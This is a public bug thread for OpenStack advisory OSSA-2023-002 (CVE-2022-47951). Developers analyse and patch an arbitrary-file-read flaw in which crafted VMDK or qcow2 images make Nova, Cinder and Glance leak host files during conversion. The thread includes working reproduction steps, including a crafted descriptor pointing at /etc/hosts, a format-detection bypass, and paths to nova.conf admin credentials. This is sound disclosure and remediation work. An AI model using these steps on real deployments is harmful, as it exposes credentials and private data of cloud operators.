[OSSA-2023-002] Arbitrary file access through custom VMDK flat descriptor (CVE-2022-47951)
Affects | Status | Importance | Assigned to | Milestone | |
---|---|---|---|---|---|
Cinder |
Fix Released
|
Critical
|
Unassigned | ||
Glance |
Fix Released
|
Undecided
|
Dan Smith | ||
OpenStack Compute (nova) |
Fix Released
|
Critical
|
Unassigned | ||
OpenStack Security Advisory |
Fix Released
|
High
|
Jeremy Stanley |
Bug Description
The vulnerability managers received the following report from Sébastien Meriot with OVH via encrypted E-mail:
Our Openstack team did discover what looks like a security issue in Nova this morning allowing a remote attacker to read any file on the system.
After making a quick CVSS calculation, we got a CVSS of 5.8 (CVSS:3.
Here is the details :
By using a VMDK file, you can dump any file on the hypervisor.
1. Create an image: qemu-img create -f vmdk leak.vmdk 1M -o subformat=
2. Edit the leak.vmdk and change the name this way: RW 2048 FLAT "leak-flat.vmdk" 0 --> RW 2048 FLAT "/etc/nova/
3. Upload the image: openstack image create --file leak.vmdk leak.vmdk
4. Start a new instance: openstack server create --image leak.vmdk --net demo --flavor nano leak-instance
5. The instance won't boot of course. You can create an image from this instance: openstack server image create --name leak-instance-image leak-instance
6. Download the image: openstack image save --file leak-instance-image leak-instance-image
7. You get access to the nova.conf file content and you can get access to the openstack admin creds.
We are working on a fix and would be happy to share it with you if needed.
We think it does affect Nova but it could affect Glance as well. We're not sure yet.
[postscript per Arnaud Morin (amorin) in IRC]
cinder seems also affected
CVE References
Jeremy Stanley (fungi) wrote : | #1 |
Changed in ossa: | |
status: | New → Incomplete |
Dan Smith (danms) wrote : | #2 |
Here's a reproducer of the underlying operation without the need for any nova or glance:
qemu-img create -f vmdk leak.vmdk 1M -o subformat=
sed -i 's#leak-
qemu-img convert -f vmdk -O raw leak.vmdk leak.raw
head -n1 leak.raw
Note that I can repro the behavior with qemu-img using qcow2 as well:
qemu-img create -f qcow2 -F raw -b /etc/hosts leak.qcow 1M
qemu-img convert -O raw leak.qcow leak2.raw
head -n1 leak2.raw
Which means even people that don't use vmdk can't just ban that format to work around this, I suspect.
This helps quantify what I think is going on here under the covers so we can determine which other projects are affected. Glance does effectively the above commands if image conversion is enabled, so I suspect it is affected without needing nova at all, if and when image conversion is in use. I'll have to check.
Not sure about cinder, but I suspect if it can lay down a COW-based image on a volume in raw format, it too is probably affected.
I'm guessing that maybe we'll need to come up with some difficult rules about backing file locations and inspect/reject based on those. I would say that nova requiring that backing files are in /var/lib/nova would be enough, but that wouldn't prevent me from snooping someone else's image if I could determine their UUID.
Guillaume Espanel (guillaume-espanel) wrote : | #3 |
About qcow2:
It seems that nova refuses to convert qcow2 images that have a backing file, at least here:
https:/
Same for cinder: https:/
I think glance also rejects qcow2 that have backing files:
https:/
but I am not sure that's the case everywhere.
Dan Smith (danms) wrote : | #4 |
Cool, on nova and cinder for qcow2. Glance would need to check that during/before the image format conversion, because the code you linked there would happen after we've already converted it to raw, I think. I don't see such a check here:
That is an optional plugin, requires being enabled, and only impacts images being imported (not uploaded). So, a much smaller surface.
Sylvain Bauza (sylvain-bauza) wrote : | #5 |
Could we clarify the attacking surface, please ?
From what I see, the nova libvirt driver calls fetch_image() which does the backing file check *before* converting the image, so could we confirm that all environments having compute services configured to use the libvirt driver *aren't* impacted ?
For other convert operations that could be run by Glance, Cinder or nova-computes not using the libvirt driver, I tho totally agree : yes, we can dump any file.
Dan Smith (danms) wrote : | #6 |
The backing file check in fetch_image() only applies to qcow2, not vmdk. If we make it to there with a VMDK file, the backing_file check won't apply and we'll do the bad thing during the raw conversion.
That said, I just realized that our image type support for libvirt does not declare that we support VMDK. That means *if* you have that feature enabled, we won't ever send instances to libvirt computes if a VMDK image is used. That further limits the scope of impacted people (and versions), but I think if you have that disabled, you'll still get there.
I assume the reporter was using the libvirt driver but I suppose it's worth checking.
Either way, I'm testing a patch to detect/reject this in nova now.
Dan Smith (danms) wrote : | #7 |
- nova-1996188.patch Edit (5.8 KiB, text/plain)
Okay, I confirmed that I can hit the libvirt compute node with a vmdk file, using the default config, and specifically the bad format image specified in the bug description. I'm attaching a proposed patch for nova which restricts the allowed VMDK types to just the two we think are usable with nova/glance anyway. However, it adds a config option (as discussed) to allow overriding or eliminating this check to avoid breaking people that are successfully using another subtype without a way to work around it.
With this patch applied and the above-mentioned maliciously-crafted image, I get a failed server build and this log message:
Nov 10 10:35:18 ubuntu nova-compute[
Arnaud Morin (arnaud-morin) wrote : | #8 |
Hello,
I confirme that de are using the libvirt driver.
Brian Rosmaita (brian-rosmaita) wrote : | #9 |
Code LGTM. I do have a concern about the config opt, namely, that the default is
vmdk_
and if you set it like this:
vmdk_
The behavior is "allow all" ... which the help text mentions, but I think this is very easy to mis-configure, because if you only want 'streamOptimized' you remove 'monolithicSparse' from the list, and following that logic, if you don't want any, you'll remove 'streamOptimized' too ... but the behavior will be the exact opposite of what you expect. So I'd prefer an empty list mean "don't allow any".
The downside is that if someone does want to allow all possible formats, they'll have to list them all. Or we could introduce a sentinel value like 'vmdk_allowed_
vmdk_
and hope that vmware doesn't introduce a 'vmdk_allowed_
But the other upside of [] == "none" is that use of vmdk can be turned off in Nova without having to depend on the disk_formats setting in Glance. It would also handle the problem of existing vmdks in deployments that don't actually use vmdk, but are using the default disk_formats value in Glance (which includes vmdk).
Dan Smith (danms) wrote : | #10 |
Yep, I was going for the minimal amount of work for someone to get back to the existing behavior if this ends up cutting off a workflow for them.
I don't love the magic sentinel approach, and would prefer to just go with "empty means nothing is enabled" and make people enable what they need for now. If there's a big push-back we can work on a sentinel to disable it entirely, but in reality I expect not many people actually want to boot from VMDKs with the libvirt driver.
If there are other sane formats to add to the default list, then hopefully they'll report them too.
I'll let other people comment on the patch with the assumption that we'll flip the meaning of an empty list and will update it here after that (or after nobody has other comments).
Sylvain Bauza (sylvain-bauza) wrote : | #11 |
This patch looks good to me as well at least for the nova libvirt driver.
Arnaud Morin (arnaud-morin) wrote : | #12 |
The patch looks good. Are we sure we are always going through the fetch_to_raw function?
I'll try to take some time to test it on our infra and let you know.
Thanks
Guillaume Espanel (guillaume-espanel) wrote : | #13 |
Looks good to me too, for nova. I looked a bit yesterday that the two variants we plan to allow cannot be tweaked to leak data through qemu-img convert and they seem fine, at least with the simple path change on the extent entry.
Speaking of fetch_to_raw, what I understand is that we let qemu-img info tell us what format the image is in before converting:
https:/
I am not sure we should be doing that (see the comment in convert_
Dan Smith (danms) wrote : | #14 |
You know, I really thought we did assert the source type of the image when we fetch it. But looking through all of that, at least as it exists today, I see that we're not. Since the previous requirement for doing that was to protect against the qcow2 backing_file attack, the comments referencing fetch_to_raw() as some sort of safety measure must be referencing the backing_file check itself.
Unless we're aware of other attacks that can be made by claiming an image is one thing when probing disagrees, we're probably okay for the scope of this bug. My code checks the vmdk rules if we probe it as such, so we won't leak there, even if someone claims it is something else.
I can imagine glance having an enforcement mode that requires images to detect as what they claim to be (it has the infrastructure to make such an enforcement today). Nova could also have a flag that verifies the image's disk_format agrees with the probe in fetch_to_raw().
Guillaume Espanel (guillaume-espanel) wrote : | #15 |
I agree, I think we're good for VMDK and I might be worrying too early:
I haven't tested it yet but reading the code it looks like we could convert other less-used formats to raw (qed, or qcow for example). My worry is that qed, for example, is no longer developed and I imagine hasn't been as scrutinized as qcow2 (or vmdk, for that matter).
To be on the safe side, I would further restrict the formats we accept to convert from, but I am not sure to what extend that is feasible.
Dan Smith (danms) wrote : | #16 |
Yes, I think a list of acceptable formats in nova would be a good idea, and a flag in glance to require that an image detects as the format claimed in disk_format would be good as well.
Dan Smith (danms) wrote : | #17 |
- nova-1996188-2.patch Edit (6.0 KiB, text/plain)
Okay, here's the updated nova patch which considers the empty list to mean "none allowed".
Brian Rosmaita (brian-rosmaita) wrote : | #18 |
This affects cinder, too. Attaching a patch based on Dan's nova fix.
Brian Rosmaita (brian-rosmaita) wrote : | #20 |
I didn't add Glance because the situation isn't so dire. I believe that an operator must configure the optional image conversion plugin for image import in order for this exploit to affect Glance. That said, I think we should fix it in Glance, too, but waiting to hear what others think before adding Glance to this bug.
Arnaud Morin (arnaud-morin) wrote : | #21 |
Hello, thanks for the patch, I think we need to include glance in that bug as well.
Guillaume Espanel (guillaume-espanel) wrote : | #22 |
About Cinder, I think we should put the check_vmdk_format as close as possible the call to convert.
First, I think we may be missing some convert_images. I cannot test it, but I have come across this where we seem to convert an image into a volume directly: https:/
Second, I noted that, in the case of AMI image format, we let qemu-img convert detect the real format of the image:
https:/
I think this is caught as part of the proposed patch, but there could be similar constructions elsewhere.
Third, in fetch_to_
Importantly, I was able to trick qemu-img info into detecting a "raw" image than can actually be converted from VMDK to raw by simply adding an empty line at the beginning of the file, thus (if I understand correctly) bypassing the check entirely.
Here's a short reproducer, note the empty line before # Disk DescriptorFile :
cat > test.raw << EOF
# Disk DescriptorFile
version=1
CID=86cc8022
parentCID=ffffffff
createType=
# Extent description
RW 2048 FLAT "/etc/hosts" 0
# The Disk Data Base
#DDB
ddb.virtualHWVe
ddb.geometry.
ddb.geometry.heads = "16"
ddb.geometry.
ddb.adapterType = "ide"
EOF
qemu-img info test.raw
image: test.raw
file format: raw
virtual size: 512 B (512 bytes)
disk size: 4 KiB
qemu-img convert -f vmdk -O raw test.raw hacked.raw
I'll look again at the nova patch to make sure we account for that funny discovery there too.
About glance, I think we should also patch it as part of this effort, even though it's not as bad given the fact the exploit is unavailable by default.
Dan Smith (danms) wrote : | #23 |
- glance-1996188.patch Edit (6.8 KiB, text/plain)
It's not available by default in glance - you have to enable the image_conversion feature (which enforces that all images get converted to a single specific format). That said, I do also think we should include glance here, especially since I found that the same code is also unpatched against the long-fixed-
This patch fixes the vmdk thing just like cinder and nova, and also fixes the similar qemu vulnerability as well.
Perhaps we could loop in another glance person (say Abhi) for his opinion on the patch and including glance specifically. If so, then would just be a formality.
Jeremy Stanley (fungi) wrote : | #24 |
Yes, a number of public clouds I interact with apply the image conversion task to uploads, so while it may be optional I expect the impact is still fairly widespread.
Brian Rosmaita (brian-rosmaita) wrote : | #25 |
Latest version of cinder patch hardens the check function a bit and adds another test; still looking into what Guillaume mentioned on his earlier comment
Guillaume Espanel (guillaume-espanel) wrote : | #26 |
I keep thinking we should move the check_vmdk_image (and possibly duplicate the image inspection) as close as possible to the actual convert.
Hopefully exhaustive list of places where we I think we should perform the check:
- For nova, in virt.images.
- For glance, in async_.
- For cinder, in image.image_
In addition, I think we should never run qemu-img convert without a "-f something" argument. We are doing this at least for AMIs (they can be either qcow2 or raw IIRC) and LVM. In such cases I suggest we run qemu-img info to determine the format of the source and pass the inspected format to convert (after running the checks), instead of letting qemu-img convert detect it, thus bypassing the checks.
Dan Smith (danms) wrote : | #27 |
Why do you think that? Doing checks upfront in fetch_image_to_raw (for the nova case) makes the most sense to me, and it matches where we do the check for the qcow backing file. IMHO, it's best to just check and reject immediately, before we do any other inspection or potential work.
IMHO, convert_image() is an "internal" method that just does what we ask it to, and it already requires source and destination formats. We need to be suspicious of images when we pull the from glance, but after we've internalized them I don't think we need to do that check every time we're handling an image.
Guillaume Espanel (guillaume-espanel) wrote : | #28 |
Focusing on nova, we seem to be going through fetch_to_raw most of the time.
I am a bit suspicious of the convert_
Regarding glance, I think we are already following the right approach, but unless I am missing something, we have to add the same patch you did in async_.
Finally, in cinder, convert_image has callers in many different places (in the drivers for example), and it could be easy to miss an unsafe call there.
Overall, I agree it would be nice to check and reject early, but for me it'd be nicer to provide convert_image functions that are safe (at least from this bug) by default. I could imagine, sometime in the future, someone using one of these convert_image functions without checking their VMDK is of this or that createType.
Dan Smith (danms) wrote : | #29 |
Cool on Nova. On Glance, TBH, I'm not sure how users access the other flow. The one I patched is used on import, but I'm not sure how those legacy plugins ever get called. Perhaps Brian can comment. Certainly it's possible to just patch that the same way, but we should be deliberate about it.
Brian Rosmaita (brian-rosmaita) wrote : | #30 |
@Dan: that's a good question about the glance legacy plugins. I don't remember why Erno needed to introduce new ones for the Interoperable Image Import workflow. They're left over from the old tasks API, which I guess can still be activated by directly creating a task, so they're not dead code. We'll need to check with Abhishek or Erno about whether the same technique can be used to patch it (I think it can). I'm not sure what the status of the Tasks API is with respect to being completely removed.
@Guillaume: I'm looking at moving the checks in cinder to convert_image() without causing regressions. Can probably do it for this vmdk issue, but not the backing_file.
Dan Smith (danms) wrote : | #31 |
Yeah, task creation is locked down to admin-only now (and have been for a while, AFAIK) so I don't think this is likely exploitable by a regular user. That, and I'm not even sure how you configure (or request) conversion via that mechanism. Anyway, I can update the patch to just do the same thing for it, but I won't be able to test it, other than unit tests in the tree that I find (which may not exist). But, if you think it's worth updating that one too, I will.
Jeremy Stanley (fungi) wrote : | #32 |
If nothing else, it may serve as a stronger reminder to anyone backporting to very old releases that they need to take care of fixing it there.
Dan Smith (danms) wrote : | #33 |
- glance-1996188-2.patch Edit (13.4 KiB, text/plain)
Okay, rev2 of the glance patch with the legacy import task patched and those tests updated as well. I'm not sure if/when this was ever used, so I'm not sure how important of an indicator it will be to people backporting to kilo or something ancient, but here it is.
Arnaud Morin (arnaud-morin) wrote : | #34 |
Hello,
FYI, we mitigated this on our infra by completely disabling the vmdk convertion. Like guillaume explained, we did that directly in the _convert method.
Anyway, the glance patch looks good.
What are the next steps?
Arnaud Morin (arnaud-morin) wrote : | #35 |
Just to let you know that glance is affected by the bug with the import plugin.
A user can trigger the conversion if the operator enabled this in the config:
[image_import_opts]
image_import_
Then, as a regular user:
openstack image create --file leak.qcow --disk-format qcow2 --import leak9.qcow
Will test the patch to make sure this is mitigating the issue now
Arnaud Morin (arnaud-morin) wrote : | #36 |
I did test the glance patch. It works (mitigate both qcow and vmdk, with import taskflow).
One note, during the convert process, the qemu-img info is executed.
Something like this:
qemu-img info --output=json /tmp/staging/
If the backing file does not exists, it fails with:
"qemu-img: Could not open '/tmp/staging/
Leaving the image in "importing" state.
This is wrong IMO and should be catched as an invalid type, what do you think?
Arnaud Morin (arnaud-morin) wrote : | #37 |
Another thing,
are we sure VMDK and QCOW formats are the only formats allowing backing files?
Jeremy Stanley (fungi) wrote : | #38 |
Assuming we have answers to your other questions, and Cinder/Glance/Nova security reviewers confirm they're comfortable with the proposed master branch patches and expect them to be safely backportable to maintained stable branches of their respective projects, I'll start drafting an impact statement to use in requesting a private CVE assignment and for inclusion in embargoed downstream stakeholder notifications (and eventually in a corresponding security advisory publication).
Once we have a CVE assignment and backports attached for each project's patch, we should be ready to schedule the advisory publication and provide advance copies of those patches to the downstream stakeholders.
Brian Rosmaita (brian-rosmaita) wrote : | #39 |
Revised patch posted in case anyone has time to look over Thanksgiving. This is not the final version. I had to move some code around because we weren't checking the format info for a image with container_
Arnaud Morin (arnaud-morin) wrote : | #41 |
Hello Brian,
Thanks for the updated patch.
I did apply it on my test infra.
Result:
While it's working when creating a volume from a glance image, it's still not enough for some drivers.
As guillaume stated earlier, some drivers are directly calling convert_image.
So, either we also patch the driver or we do the patch *inside* image_utils.
For now, I was able to reproduce the bug using the NFS driver (with your patch).
The faulty code is here:
https:/
If you search the convert_image in drivers, you will see that *a lot* of them are calling convert_image without specifying the input_format (only RBD when using encryption is having input_format).
$ grep -riIl 'convert_image' ./*
./datera/
./datera/
./dell_
./ibm/gpfs.py
./netapp/
./netapp/
./nfs.py
./quobyte.py
./rbd.py
./remotefs.py
./vzstorage.py
To reproduce the issue:
# Create an empty volume:
openstack volume create --size 10 vol-1
# Attach the volume to a server:
openstack server add volume arnaud-deb-10 vol-1
# Copy the content of a faulty vdmk image into it (in the following, the leak.vmdk is having a backing file to /etc/hosts):
dd if=leak.vmdk of=/dev/vdb
# detach the volume
openstack server remove volume arnaud-deb-10 vol-1
# Do a snapshot
openstack volume snapshot create --volume vol-1 vol-1-snap
# Create a new volume from this snapshot <-- this part is triggering the image_convert from nfs.py
openstack volume create --snapshot vol-1-snap vol-2
# Attach this new volume
openstack server add volume arnaud-deb-10 vol-2
# Take a look at the content of the volume from the instance
# you will see the /etc/hosts of cinder-volume host.
*Unfortunately I cannot test all the drivers, but pretty sure most of them are affected by the issue.*
Dan Smith (danms) wrote : | #42 |
Arnaud, yes, we should probably catch that and roll back the import. However, let's treat that as a separate non-security bug to avoid inflating the glance patch any further, since that's a latent but otherwise harmless issue. Glance also probably should be changed to use the oslo qemu info utility like the others, and so that'd be a good time to resolve this as well.
Arnaud Morin (arnaud-morin) wrote : | #43 |
Glance? My comment was mostly about cinder.
I think glance patch is OK.
Arnaud Morin (arnaud-morin) wrote : | #44 |
Ok, it's my bad, I talked about a glance image, but it's not, it's a cinder snapshot (nothing related to glance)
Brian Rosmaita (brian-rosmaita) wrote : | #45 |
Arnaud, thanks for all the testing. I was trying to keep the backing file check and the vmdk checks close together, but while there are legitimate internal cinder uses for a backing file, there aren't any legitimate uses of a vmdk with one of the disallowed formats, so I took your advice and added a vmdk check to convert_image. (I left the current checks even though they're not strictly necessary now because they allow an image_id to appear in the error message.)
Arnaud Morin (arnaud-morin) wrote : | #46 |
Hi Brian,
Thanks for this updated patch, I confirm that this is mitigating the issue described in my previous comment.
Except I missed something, I think you achieved (with Dan) the correct patches to fully mitigate this issue.
Thanks!
Brian Rosmaita (brian-rosmaita) wrote : | #47 |
Another update ... this one moves the check that the source_format (if specified) matches what qemu-img info thinks is the image format. I was hesitating because it requires an extra call out to qemu-img, but the caller can get around that by passing the qemu_img_info data if it's already available. Plus, relative to the time to actually do a conversion of a large image, this is negligible. But given the bad stuff that Guillaume and Arnaud discovered about what can happen when there's a mismatch, I figure it's definitely worth checking in convert_image().
Jeremy Stanley (fungi) wrote : | #48 |
Once folks are relatively settled on the state of the various master branch patches for impacted services, we'll need a curated set of backport patches for all of them to at least stable/xena, stable/yoga and stable/zed (stable/wallaby is now officially out of normal maintenance). Those backports are what we'll include in the advance notification we send to downstream stakeholders ahead of the publication date, and should ideally match what will also be pushed into Gerrit at the time we publish the advisory.
Arnaud Morin (arnaud-morin) wrote : | #49 |
Hi,
Agree with the backports, I did it manually on my side for wallaby.
Don't you think this CVE is severe enough to bring the backport even to older releases? Or should the operator do the work themself?
Jeremy Stanley (fungi) wrote : | #50 |
Our vulnerability management policy only requires the availability of backports to affected stable branches under normal maintenance in order to issue an official security advisory. It does not preclude also producing backports to older branches under extended maintenance, and we include those in our advisories (as well as pre-publication notifications to downstream stakeholders) if they happen to be available. What it means is that we won't hold up notifying stakeholders or publishing an advisory for maintained stable branches if there are delays or challenges backporting to older branches.
Brian Rosmaita (brian-rosmaita) wrote : | #51 |
A note about backporting to -em branches: the code is using a feature of oslo_utils.
This only affects the nova and cinder patches.
Brian Rosmaita (brian-rosmaita) wrote : | #52 |
Brian Rosmaita (brian-rosmaita) wrote : | #53 |
Brian Rosmaita (brian-rosmaita) wrote : | #54 |
Brian Rosmaita (brian-rosmaita) wrote : | #55 |
Abhishek Kekane (abhishek-kekane) wrote : | #57 |
Glance patch attached by Dan looks good to me, just having one suggestion for the error message for below scenario;
+ if not len(allowed):
+ LOG.warning(
+ 'vmdk_allowed_types is empty'))
+ raise RuntimeError(
instead we should use something like;
raise RuntimeError(
Rajat Dhasmana (whoami-rajat) wrote : | #58 |
For the cinder patch, I've a doubt as follows:
In new method check_image_format
+ if image_id is None:
+ image_id = 'internal image'
In which case we need to do this? If the image_id doesn't exist, it should be an error right? IIUC this is called from convert_image which can only be called by download image/upload volume which should have the image ID.
Even if there is a case where this can be None, shouldn't we assign a UUID instead of a string 'internal image' here? Else this will fail for the second image since 'internal image' ID is already used by the first image created with this flow.
Brian Rosmaita (brian-rosmaita) wrote : | #59 |
@Rajat: thanks for the review. As Arnaud pointed out in comment #41, several drivers are calling convert_image() directly, like here, where the remotenfs driver uses convert_image() to flatten snapshots before uploading the result to glance:
https:/
So in that case, there isn't an existing glance image that we're converting; the "image" is really a volume, so that's why if no image_id is passed, check_image_format will use the string 'internal image' in log/exception messages.
As far as it causing a regression, before this patch, convert_image() did not take an image_id parameter, and the only place it's used here is when it's passed to check_image_
Rajat Dhasmana (whoami-rajat) wrote : | #60 |
Hi Brian,
thanks for pointing out the place where we call convert_image from the drivers.
I understand we're converting a volume but eventually it is an upload volume to image operation in which the user has supplied the image_id so we should use that.
Regarding getting the image ID, there are 2 ways to do it:
1) in volume_utils: get it from volume.
https:/
2) in image_utils: get it from image_meta
https:/
The upload_volume is called just below the the convert_image call and we have all the parameters necessary to fetch image_id from the above 2 options.
https:/
Brian Rosmaita (brian-rosmaita) wrote : | #61 |
@Rajat: there are still some places where image conversion is happening, but there's no image involved, for example in the vzstorage driver in _copy_volume_
Rajat Dhasmana (whoami-rajat) wrote : | #62 |
Hi Brian,
I think your idea of doing it step by step and also taking confirmation from driver vendors for their driver change makes sense. Also as you mentioned we might need to change a lot of places and that might end up more work that is intended for this security fix and outside of the scope as well.
In conclusion, your patch looks good to me in current state.
Abhishek Kekane (abhishek-kekane) wrote : | #63 |
Hi,
There was some formatting issue in patch added in comment 23 [1] so I was not able to apply it using git am command. As a result I have manually applied changes in my local environment, made changes in error message as mentioned in comment 57 [2], added author as Dan Smith and backported it till stable/train branch.
There was conflict in victoria, resolved it and also was not able to verify pep8 and py38 unit tests locally for stable/train due to some weird dependencies conflict issues.
Attaching all the patches one by one here in following comments.
[1] https:/
[2] https:/
Abhishek Kekane (abhishek-kekane) wrote : | #64 |
Abhishek Kekane (abhishek-kekane) wrote : | #65 |
Abhishek Kekane (abhishek-kekane) wrote : | #66 |
Abhishek Kekane (abhishek-kekane) wrote : | #67 |
Abhishek Kekane (abhishek-kekane) wrote : | #68 |
Abhishek Kekane (abhishek-kekane) wrote : | #69 |
Abhishek Kekane (abhishek-kekane) wrote : | #70 |
Abhishek Kekane (abhishek-kekane) wrote : | #71 |
Changed in ossa: | |
status: | Incomplete → Confirmed |
importance: | Undecided → High |
assignee: | nobody → Jeremy Stanley (fungi) |
Jeremy Stanley (fungi) wrote : | #72 |
Since it seems like we're getting close to agreement on the patches and backports, I'm preparing to request a CVE assignment for tracking of the eventual published advisory. Here's an initial attempt, but please let me know what I've got wrong and I'll revise it as needed...
Title: Arbitrary file access through custom VMDK flat descriptor
Reporter: Sébastien Meriot (OVH)
Products: Cinder, Glance, Nova
Affects: Cinder <19.1.2, >=20.0.0 <20.0.2, ==21.0.0; Glance <23.0.1, >=24.0.0 <24.1.1, ==25.0.0; Nova <24.1.2, >=25.0.0 <25.0.2, ==26.0.0
Description:
Sébastien Meriot (OVH) reported a vulnerability in VMDK image processing for Cinder, Glance and Nova.
By supplying a specially created VMDK flat image which references a specific backing file path, an authenticated user may convince systems to return a copy of that file's contents from the server resulting in unauthorized access to potentially sensitive data.
All Cinder deployments are affected; only Glance deployments with image conversion enabled are affected; all Nova deployments are affected.
Brian Rosmaita (brian-rosmaita) wrote : | #73 |
Cinder affected releases and "description" text LGTM.
Erno Kuvaja (jokke) wrote : | #74 |
@Dan ref #33:
We already have lots of that image format logic in the glance/
That already limits our VMDK support to 'monolithicSparse' and does the inspection directly rather than relying qemu-img. I think we should utilize that and add any additional inspections there rather than creating yet another block of validation code in the plugins.
Guillaume Espanel (guillaume-espanel) wrote : | #75 |
Good day!
Interesting that we are talking about the format_inspector because I think there is a way there to perform a DoS attack on the glance-api process by uploading a malformed VMDK image:
For VMDK, the 'descriptor' capture region is bounded by (desc_sec * 512, desc_num * 512). Both desc_sec and desc_num are parsed from the header of the file, so it is possible for a malicious actor to ask the format_inspector to declare a huge descriptor capture_region by crafting weird values in-there. In contrast, qemu limits the size of the descriptor it accepts to parse to 1MB if my math is right [1].
Actually, reading the code of qemu, it looks like they also hardcode the address of the descriptor to 0x200 [2], so it would be possible to have the format_inspector read a descriptor and qemu read a different one, thus bypassing any check we are currently doing there.
Notwithstanding this bug, I am not sure the format_inspector is not the best place to implement security checks at the moment. For one, I am not sure when it is actually called.
--
[1]: https:/
[2]: https:/
Changed in ossa: | |
status: | Confirmed → In Progress |
Jeremy Stanley (fungi) wrote : Re: Arbitrary file access through custom VMDK flat descriptor (CVE-2022-47951) | #76 |
MITRE has assigned CVE-2022-47951 for tracking this vulnerability.
summary: |
Arbitrary file access through custom VMDK flat descriptor + (CVE-2022-47951) |
Dan Smith (danms) wrote : | #77 |
Erno - right now the format inspector is not mandatory. Meaning, we only snag the virtual_size for monolithicSparse, but we don't refuse the upload if it's a format we don't expect. If you want to *change* that, then that's fine. I don't think that the extra checks before we do operations on an image is a bad idea though, especially as it mirrors what we're doing in the other projects.
Brian Rosmaita (brian-rosmaita) wrote : | #78 |
Just want to bump this. We're less than a month out from 2023-02-08, and I personally am holding my breath lest someone merge a change to cinder.
Guillaume Espanel (guillaume-espanel) wrote : | #79 |
Hi! I agree, lets get this out sooner than later :)
- Glance and its backports LGTM, but do I understand correctly we will not patch async_.
- Cinder is a bit heavier but LGTM too.
- Nova still looks good :)
Jeremy Stanley (fungi) wrote : | #80 |
If we have consensus on the fixes and backport patches (at least as far back as stable/xena) for all three of Cinder, Glance and Nova, then we can schedule an advisory for approximately a week out and send advance copies of these patches to downstream stakeholders along with the date and time we've chosen for publication. Just to double-check, we have the following patches for distribution:
- Cinder (master and zed through wallaby) in comments #52-56
- Glance (master and zed through train) in comments #64-71
- Nova (master) in comment #17
What are the plans for nova backports? Or is it assumed that the provided patch applies cleanly at least as far back as stable/xena (in which case I'll just provide multiple copies named for each branch)?
Also, Sébastien Mériot has sent a follow-up E-mail requesting a change to list the reporters of this bug as Guillaume Espanel, Pierre Libeau, Arnaud Morin and Damien Rannou. Here's the updated impact description which will be used in the advance downstream notice and subsequent advisory publication...
Title: Arbitrary file access through custom VMDK flat descriptor
Reporter: Guillaume Espanel, Pierre Libeau, Arnaud Morin and Damien Rannou (OVH)
Products: Cinder, Glance, Nova
Affects: Cinder <19.1.2, >=20.0.0 <20.0.2, ==21.0.0; Glance <23.0.1, >=24.0.0 <24.1.1, ==25.0.0; Nova <24.1.2, >=25.0.0 <25.0.2, ==26.0.0
Description:
Guillaume Espanel, Pierre Libeau, Arnaud Morin and Damien Rannou (OVH) reported a vulnerability in VMDK image processing for Cinder, Glance and Nova.
By supplying a specially created VMDK flat image which references a specific backing file path, an authenticated user may convince systems to return a copy of that file's contents from the server resulting in unauthorized access to potentially sensitive data.
All Cinder deployments are affected; only Glance deployments with image conversion enabled are affected; all Nova deployments are affected.
Dan Smith (danms) wrote : | #81 |
- nova-1996188-xena.patch Edit (6.8 KiB, text/plain)
I'm good to go, yeah. I'm attaching a Xena-specific backport of the nova-2 patch which fixes a trivial conflict. Yoga and Zed apply the original cleanly.
Jeremy Stanley (fungi) wrote : | #82 |
With Dan's additional clean stable/xena backport in comment #81 I think I have everything I need to schedule the advisory. I'll plan to send advance notification to downstream stakeholders with a copy of all the patches I listed in comment #80 plus the added one from #81 on Thursday, January 12, with the expectation of full publication of the advisory and pushing patches for public review at 15:00 UTC on Thursday, January 19. That gives a full 5 business days, the maximum our advisory process allows us, for package maintainers and operators to prepare updated versions.
If anyone objects to the proposed timeline, please comment on this bug report before Thursday of this week (I know this is tight timing, but the sooner it's done the better). Thanks!
Sylvain Bauza (sylvain-bauza) wrote : | #83 |
For reviewing sake, I eventually looked at Dan's patches for Nova (master, and backports down to Xena) and I agree on them. Thanks Dan for having helped on the nova side and thanks folks for the other projects too.
Brian Rosmaita (brian-rosmaita) wrote : | #84 |
I was looking into what it would take to backport this to train, and once I hit py27 tests, I realized that I didn't actually (contrary to the commit message) remove all the type annotations from the patch to wallaby (comment #56). So I will update that patch today.
In the meantime, I also hit a problem in that whereas I was able to run unit tests and pep8 locally on the posted patches for the supported pythons in each release back in December, something has changed in my local environment and tox (3!!!) can't build the testenvs starting with xena backward due to oslo.vmware having suds-jurko as a requirement, and whatever setuptools I've got can't build suds-jurko. This doesn't seem to have hit the periodic stable jobs because they use a pre-built wheel.
My local workaround is to use a modified upper-constraints file that has 'oslo.vmware=
Brian Rosmaita (brian-rosmaita) wrote : | #85 |
Brian Rosmaita (brian-rosmaita) wrote : | #86 |
@Jeremy: we may need to hold off a day or so for the announcement.
In working on how this can be backported to stable/train, I realized that the cinder patches for zed through wallaby are not ready yet. Here's what's up.
Beginning with oslo.utils 3.14.0 (current release is 6.1.0), the imageutils.
The 'format-specific' attribute of the QemuImgInfo class, which we need to check the VMDK subtype, is supported beginning with oslo.utils 4.1.0 by change I133da07a5a9628
BUT ... cinder doesn't request json format from 'qemu-img info' until change Ia0353204abf849
So the current cinder patches for zed->wallaby won't let a bad VMDK sneak through, but will raise ImageUnacceptable on *all* VMDKs. (This is tested by test_check_
So the current patches for zed->wallaby block the security risk, but will cause a bad regression for anyone who actually uses VMDKs.
I think the cinder team needs to backport change Ia0353204abf8494671 as far as it will go on an expedited basis before we release these patches. Or I could simply roll the change into these patches, though strictly speaking, it's unrelated.
I'll email the cinder coresec team separately to get a quick response on what the acceptable strategy is.
Jeremy Stanley (fungi) wrote : | #87 |
No problem, if the patches are ready in time I can notify downstream stakeholders on Tuesday, January 17 with a planned advisory publication on Tuesday, January 24.
Brian Rosmaita (brian-rosmaita) wrote : | #88 |
Cinder update: the parent patch mentioned in comment #86 has been approved in all relevant branches and is slowly making its way through the gates:
https:/
I tested the current cinder-
Brian Rosmaita (brian-rosmaita) wrote : | #89 |
All cinder-1996188-* patches from zed through wallaby apply cleanly to the current stable branches.
I'm attaching a victoria patch for review. We hit an issue in cinder victoria that requires either a change in requirements.txt or a code adjustment [0]. Preliminary discussion with the release team was that upping the min in requirements would ordinarily be allowed for a security issue, but not for a branch like victoria in maintenance Phase 2 [1].
Since my intent is to backport this as far as train, where using oslo.utils 4.1.0 is out of the question because 4.1.0 doesn't support py27, whereas train does, and thus we'd have to do the code adjustment there in any case, I chose to take the code adjustment path in victoria.
